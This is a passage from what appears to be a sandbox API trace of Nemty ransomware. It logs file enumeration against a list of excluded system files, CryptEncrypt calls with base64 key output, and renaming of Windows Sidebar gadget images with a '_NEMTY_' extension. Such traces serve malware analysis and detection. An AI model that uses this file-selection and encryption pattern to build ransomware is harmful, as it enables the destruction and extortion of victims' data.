nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0110.538] CloseHandle (hObject=0xffffffff) returned 0 [0110.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0110.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0110.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0110.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0110.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-down.png._nemty_kgobjgd_")) returned 0 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0110.538] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82379c44, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82379c44, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x281a7b81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bNext-hot.png", cAlternateFileName="")) returned 1 [0110.538] lstrcmpiW (lpString1="bNext-hot.png", lpString2=".") returned 1 [0110.538] lstrcmpiW (lpString1="bNext-hot.png", lpString2="..") returned 1 [0110.538] lstrcmpiW (lpString1="bNext-hot.png", lpString2="...") returned 1 [0110.538] lstrcmpiW (lpString1="bNext-hot.png", lpString2="windows") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="$RECYCLE.BIN") returned 1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="rsa") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="NTDETECT.COM") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="ntldr") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="MSDOS.SYS") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="IO.SYS") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="boot.ini") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="boot.ini") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="AUTOEXEC.BAT") returned 1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="ntuser.dat") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="desktop.ini") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="CONFIG.SYS") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="RECYCLER") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="BOOTSECT.BAK") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="bootmgr") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="programdata") returned -1 [0110.539] lstrcmpiW (lpString1="bNext-hot.png", lpString2="appdata") returned 1 [0110.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-hot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0110.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-hot.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-hot.png", lpUsedDefaultChar=0x0) returned 13 [0110.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-hot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0110.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-hot.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-hot.png", lpUsedDefaultChar=0x0) returned 13 [0110.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-hot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0110.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-hot.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-hot.png", lpUsedDefaultChar=0x0) returned 13 [0110.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-hot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0110.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bNext-hot.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bNext-hot.png", lpUsedDefaultChar=0x0) returned 13 [0110.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0110.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0110.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0110.540] Sleep (dwMilliseconds=0x5) [0110.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf58af550, dwHighDateTime=0x1d561e7)) [0110.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf58af550, dwHighDateTime=0x1d561e7)) [0110.555] GetLastError () returned 0x5 [0110.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0110.555] GetLastError () returned 0x5 [0110.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0110.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0110.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0110.555] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0110.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0110.555] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="VEgaiC5AP7Vt3uwz4rgDjmA1pRyY9gICE0TuwV57qFirNbuCcYcnexO0B/mfQNe2\r\n6z6YjBvW6p0lsYnP0WlqbpaE67AaJ/eN6NL02aCRPxSMVD7lqF+luS2W4mQVbT5B\r\nqNGazUtlF+rKc3P0thpNKYWIcp3khGABofo5uN4cKfSmXLgedMBTspZawHbUkmZ6\r\nn5k+1HJQroQFylalsyR3a3gIiw03WE3WMbUyxWlTBwzU43gaFjXtnvoZvaZCn7bW\r\n+QEKDSvWF31HaX7FQ0tD2+yEquIm7D5IlL8/Y13k2NK78zHuS5hNV8EdahpX8ufb\r\nf8Z4FS+YvOdvNLCnfE4oZQ==\r\n", pcchString=0x653e91c) returned 1 [0110.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0110.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0110.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0110.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0110.556] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-hot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.558] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0110.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0110.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.587] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0110.666] CloseHandle (hObject=0xffffffff) returned 0 [0110.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0110.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0110.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0110.666] 